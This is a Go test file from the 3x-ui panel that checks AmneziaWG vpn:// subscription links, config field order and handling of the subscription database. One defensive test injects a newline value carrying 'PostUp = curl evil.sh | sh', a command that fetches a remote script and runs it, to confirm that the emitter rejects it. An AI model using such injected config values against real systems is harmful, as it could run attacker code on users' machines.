mirror of
https://github.com/MHSanaei/3x-ui.git
synced 2026-09-17 15:47:14 +00:00
112b19a8ed
Addresses review feedback on the previous commit. UpdateInboundClient carries a stored keepalive forward whenever the incoming one is zero, so the settings JSON and the running peer survive a metadata-only edit that omits the field. That was a 0 -> 0 no-op while no UI could set a nonzero value. Now that the client form can, the carry-forward became reachable in the other direction: a client created at the form's default of 25 could never be returned to 0, and the hint text shipped to all 13 locales -- "0 disables it" -- described something the backend silently refused. The save even reported success, because a settings blob that came back byte-identical skips the transaction entirely. The zero value cannot carry that distinction, so model.Client.KeepAlive becomes *int: nil means the field was never sent, &0 means "send no keepalives". The pointer survives the internal marshal in ClientService.Update, which is where an explicit 0 was being erased by omitempty before UpdateInboundClient ever saw it. ClientRecord.KeepAlive stays a plain int -- it is the stored column, where "unset" has no meaning -- and the conversions bridge the two. Two tests, both red before this change in the direction they cover: an explicit 0 must reach wg_keep_alive, and an update that omits the field must still leave a stored 25 alone. Also adds the output transform every other numeric field in the client form already has, so a cleared box sends 0 rather than null.
278 lines
10 KiB
Go
278 lines
10 KiB
Go
package sub
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"slices"
|
|
"strings"
|
|
"testing"
|
|
|
|
"github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
|
|
"github.com/mhsanaei/3x-ui/v3/internal/database"
|
|
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
|
|
wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
|
|
)
|
|
|
|
// TestGenAmneziaWGLinkFields covers the real AmneziaVPN app's vpn:// scheme:
|
|
// base64url (no padding) of a plain AmneziaWG .conf text, parsed by the real
|
|
// app as a flat "Key = Value" bag (confirmed by reading its own source).
|
|
func TestGenAmneziaWGLinkFields(t *testing.T) {
|
|
serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
|
|
if err != nil {
|
|
t.Fatalf("keypair: %v", err)
|
|
}
|
|
clientPriv, _, err := wgutil.GenerateWireguardKeypair()
|
|
if err != nil {
|
|
t.Fatalf("client keypair: %v", err)
|
|
}
|
|
|
|
inbound := &model.Inbound{
|
|
Listen: "203.0.113.7",
|
|
Port: 51820,
|
|
Protocol: model.AmneziaWG,
|
|
Remark: "awg-sub",
|
|
Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `","mtu":1420,"primaryDns":"8.8.8.8"},` +
|
|
`"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"],"keepAlive":25}]}`,
|
|
}
|
|
|
|
s := &SubService{}
|
|
link := s.genAmneziaWGLink(inbound, "user")
|
|
|
|
if !strings.HasPrefix(link, "vpn://") {
|
|
t.Fatalf("link = %q, want vpn:// prefix", link)
|
|
}
|
|
raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
|
|
if err != nil {
|
|
t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
|
|
}
|
|
text := string(raw)
|
|
|
|
for _, want := range []string{
|
|
"[Interface]",
|
|
"PrivateKey = " + clientPriv,
|
|
"Address = 10.8.1.2/32",
|
|
"MTU = 1420",
|
|
"DNS = 8.8.8.8",
|
|
"[Peer]",
|
|
"PublicKey = " + serverPub,
|
|
"Endpoint = 203.0.113.7:51820",
|
|
"PersistentKeepalive = 25",
|
|
} {
|
|
if !strings.Contains(text, want) {
|
|
t.Fatalf("decoded config missing %q\n got: %s", want, text)
|
|
}
|
|
}
|
|
|
|
// The server block sets none of the 3.1 fields: none may leak into the
|
|
// client config (a lone HeaderProtectionKey would break the handshake).
|
|
for _, absent := range []string{"HeaderProtectionKey", "RandomTrailers", "DisableCookies", "RekeyAfterTime", "ContentPaddingAddition"} {
|
|
if strings.Contains(text, absent) {
|
|
t.Fatalf("config must omit unset 3.1 field %q\n got: %s", absent, text)
|
|
}
|
|
}
|
|
}
|
|
|
|
// TestGenAmneziaWGLink31Fields pins the AmneziaWG 3.1 [Interface] lines and
|
|
// their order in the decoded vpn:// payload — client and server configs must
|
|
// carry the identical parameter block for the tunnel to work.
|
|
func TestGenAmneziaWGLink31Fields(t *testing.T) {
|
|
serverPriv, serverPub, err := wgutil.GenerateWireguardKeypair()
|
|
if err != nil {
|
|
t.Fatalf("keypair: %v", err)
|
|
}
|
|
clientPriv, _, err := wgutil.GenerateWireguardKeypair()
|
|
if err != nil {
|
|
t.Fatalf("client keypair: %v", err)
|
|
}
|
|
|
|
inbound := &model.Inbound{
|
|
Listen: "203.0.113.7",
|
|
Port: 51820,
|
|
Protocol: model.AmneziaWG,
|
|
Remark: "awg-31",
|
|
Settings: `{"server":{"privateKey":"` + serverPriv + `","publicKey":"` + serverPub + `",` +
|
|
`"jc":4,"jmin":40,"jmax":100,"s1":30,"s2":90,"s3":20,"s4":10,` +
|
|
`"h1":"10-2000","h2":"3000-5000","h3":"6000-8000","h4":"9000-11000",` +
|
|
`"i1":"<r 64>","i2":"<r 80>",` +
|
|
`"headerProtectionKey":"MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",` +
|
|
`"contentPaddingAddition":"16-48","rekeyAfterTime":"110-140","rekeyTimeout":"4-8",` +
|
|
`"rejectAfterTime":"190-250","keepaliveTimeout":"9-15","maxHandshakeAttempts":"20-40",` +
|
|
`"randomTrailers":true,"disableCookies":true},` +
|
|
`"clients":[{"email":"user","privateKey":"` + clientPriv + `","allowedIPs":["10.8.1.2/32"]}]}`,
|
|
}
|
|
|
|
s := &SubService{}
|
|
link := s.genAmneziaWGLink(inbound, "user")
|
|
raw, err := base64.RawURLEncoding.DecodeString(strings.TrimPrefix(link, "vpn://"))
|
|
if err != nil {
|
|
t.Fatalf("link body does not decode as base64url: %v\n got: %s", err, link)
|
|
}
|
|
text := string(raw)
|
|
|
|
want := []string{
|
|
"Jc = 4",
|
|
"H4 = 9000-11000",
|
|
"I1 = <r 64>",
|
|
"I2 = <r 80>",
|
|
"HeaderProtectionKey = MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=",
|
|
"ContentPaddingAddition = 16-48",
|
|
"RekeyAfterTime = 110-140",
|
|
"RekeyTimeout = 4-8",
|
|
"RejectAfterTime = 190-250",
|
|
"KeepaliveTimeout = 9-15",
|
|
"MaxHandshakeAttempts = 20-40",
|
|
"RandomTrailers = on",
|
|
"DisableCookies = on",
|
|
"[Peer]",
|
|
}
|
|
pos := -1
|
|
for _, w := range want {
|
|
i := strings.Index(text, w)
|
|
if i < 0 {
|
|
t.Fatalf("decoded config missing %q\n got: %s", w, text)
|
|
}
|
|
if i < pos {
|
|
t.Fatalf("%q out of order in decoded config:\n%s", w, text)
|
|
}
|
|
pos = i
|
|
}
|
|
}
|
|
|
|
func TestGenAmneziaWGLinkWrongProtocol(t *testing.T) {
|
|
s := &SubService{}
|
|
vless := &model.Inbound{Protocol: model.VLESS, Settings: `{"clients":[{"email":"user"}]}`}
|
|
if got := s.genAmneziaWGLink(vless, "user"); got != "" {
|
|
t.Fatalf("wrong protocol should yield empty link, got %q", got)
|
|
}
|
|
}
|
|
|
|
func TestGenAmneziaWGLinkNoKey(t *testing.T) {
|
|
s := &SubService{}
|
|
inbound := &model.Inbound{
|
|
Protocol: model.AmneziaWG,
|
|
Port: 51820,
|
|
Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[{"email":"user"}]}`,
|
|
}
|
|
if got := s.genAmneziaWGLink(inbound, "user"); got != "" {
|
|
t.Fatalf("client without private key should yield empty link, got %q", got)
|
|
}
|
|
}
|
|
|
|
// Regression test for the bug where getInboundsBySubId's SQL allowlist was
|
|
// missing 'amneziawg', silently excluding every AmneziaWG client from
|
|
// subscriptions (plain/individual links, JSON, Clash) even though
|
|
// genAmneziaWGLink itself was already fully implemented and wired into
|
|
// GetLink's dispatch switch.
|
|
func TestGetInboundsBySubIdIncludesAmneziaWG(t *testing.T) {
|
|
initSubDB(t)
|
|
db := database.GetDB()
|
|
|
|
in := &model.Inbound{Port: 51820, Protocol: model.AmneziaWG, Enable: true, Tag: "awg-sub", Settings: `{"server":{"privateKey":"x","publicKey":"y"},"clients":[]}`}
|
|
if err := db.Create(in).Error; err != nil {
|
|
t.Fatalf("create inbound: %v", err)
|
|
}
|
|
rec := &model.ClientRecord{Email: "u@awg", SubID: "subawg", Enable: true}
|
|
if err := db.Create(rec).Error; err != nil {
|
|
t.Fatalf("create client: %v", err)
|
|
}
|
|
if err := db.Create(&model.ClientInbound{ClientId: rec.Id, InboundId: in.Id}).Error; err != nil {
|
|
t.Fatalf("create link: %v", err)
|
|
}
|
|
|
|
s := &SubService{}
|
|
inbounds, err := s.getInboundsBySubId("subawg")
|
|
if err != nil {
|
|
t.Fatalf("getInboundsBySubId: %v", err)
|
|
}
|
|
if len(inbounds) != 1 || inbounds[0].Id != in.Id {
|
|
t.Fatalf("amneziawg inbound not returned for subId: %+v", inbounds)
|
|
}
|
|
}
|
|
|
|
// peerFieldOrder is wg-quick(8)'s own [Peer] order. The panel emits an
|
|
// AmneziaWG .conf from three independent places -- this one, and the frontend's
|
|
// genAmneziaWGConfig and buildAmneziaWGClientConfig -- and a user comparing a
|
|
// subscription link against a downloaded .conf sees any drift immediately.
|
|
var peerFieldOrder = []string{"PublicKey", "PresharedKey", "AllowedIPs", "Endpoint", "PersistentKeepalive"}
|
|
|
|
func peerFields(t *testing.T, conf string) []string {
|
|
t.Helper()
|
|
idx := strings.Index(conf, "[Peer]")
|
|
if idx < 0 {
|
|
t.Fatalf("config has no [Peer] block:\n%s", conf)
|
|
}
|
|
var got []string
|
|
for _, line := range strings.Split(conf[idx:], "\n") {
|
|
key := strings.TrimSpace(strings.SplitN(line, "=", 2)[0])
|
|
if slices.Contains(peerFieldOrder, key) {
|
|
got = append(got, key)
|
|
}
|
|
}
|
|
return got
|
|
}
|
|
|
|
func TestAmneziaWGConfigTextPeerFieldOrder(t *testing.T) {
|
|
server := &amneziawg.ServerSettings{PublicKey: "serverPub", PrimaryDNS: "8.8.8.8", MTU: 1420}
|
|
|
|
t.Run("every optional field set", func(t *testing.T) {
|
|
client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}, PreSharedKey: "psk", KeepAlive: model.KeepAlivePtr(25)}
|
|
conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
|
|
if got := peerFields(t, conf); !slices.Equal(got, peerFieldOrder) {
|
|
t.Fatalf("peer fields = %v, want %v\n%s", got, peerFieldOrder, conf)
|
|
}
|
|
// No trailing newline, whichever optional field happens to be last --
|
|
// the frontend emitters end the same way for the same client.
|
|
if strings.HasSuffix(conf, "\n") {
|
|
t.Fatalf("config must not end with a newline:\n%q", conf)
|
|
}
|
|
})
|
|
|
|
t.Run("no preshared key or keepalive", func(t *testing.T) {
|
|
client := &model.Client{PrivateKey: "clientPriv", AllowedIPs: []string{"10.8.1.2/32"}}
|
|
conf := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "remark")
|
|
want := []string{"PublicKey", "AllowedIPs", "Endpoint"}
|
|
if got := peerFields(t, conf); !slices.Equal(got, want) {
|
|
t.Fatalf("peer fields = %v, want %v\n%s", got, want, conf)
|
|
}
|
|
if strings.HasSuffix(conf, "\n") {
|
|
t.Fatalf("config must not end with a newline:\n%q", conf)
|
|
}
|
|
})
|
|
}
|
|
|
|
// A newline in a field that lands unescaped in [Interface] would inject a
|
|
// config line (e.g. a rogue PostUp); the emitter must refuse to render it.
|
|
func TestAmneziaWGConfigTextRejectsNewlineInjection(t *testing.T) {
|
|
server := &amneziawg.ServerSettings{
|
|
PublicKey: "serverPub==",
|
|
PrimaryDNS: "8.8.8.8",
|
|
Jc: 4, Jmin: 40, Jmax: 100, S1: 30, S2: 90,
|
|
}
|
|
client := &model.Client{Email: "peer-1", PrivateKey: "clientPriv==", AllowedIPs: []string{"10.8.1.2/32"}}
|
|
|
|
clean := amneziaWGConfigText(server, client, "203.0.113.7", 51820, "peer-1")
|
|
if !strings.Contains(clean, "PrivateKey = clientPriv==") {
|
|
t.Fatalf("clean input did not render: %q", clean)
|
|
}
|
|
|
|
injected := "x\nPostUp = curl evil.sh | sh"
|
|
cases := []struct {
|
|
name string
|
|
mutate func(s *amneziawg.ServerSettings, c *model.Client) string
|
|
}{
|
|
{"privateKey", func(s *amneziawg.ServerSettings, c *model.Client) string { c.PrivateKey = injected; return "peer-1" }},
|
|
{"primaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.PrimaryDNS = injected; return "peer-1" }},
|
|
{"secondaryDns", func(s *amneziawg.ServerSettings, c *model.Client) string { s.SecondaryDNS = injected; return "peer-1" }},
|
|
{"remark", func(s *amneziawg.ServerSettings, c *model.Client) string { return injected }},
|
|
}
|
|
for _, tc := range cases {
|
|
t.Run(tc.name, func(t *testing.T) {
|
|
s := *server
|
|
c := *client
|
|
remark := tc.mutate(&s, &c)
|
|
if got := amneziaWGConfigText(&s, &c, "203.0.113.7", 51820, remark); got != "" {
|
|
t.Fatalf("%s with a newline rendered a config:\n%s", tc.name, got)
|
|
}
|
|
})
|
|
}
|
|
}
|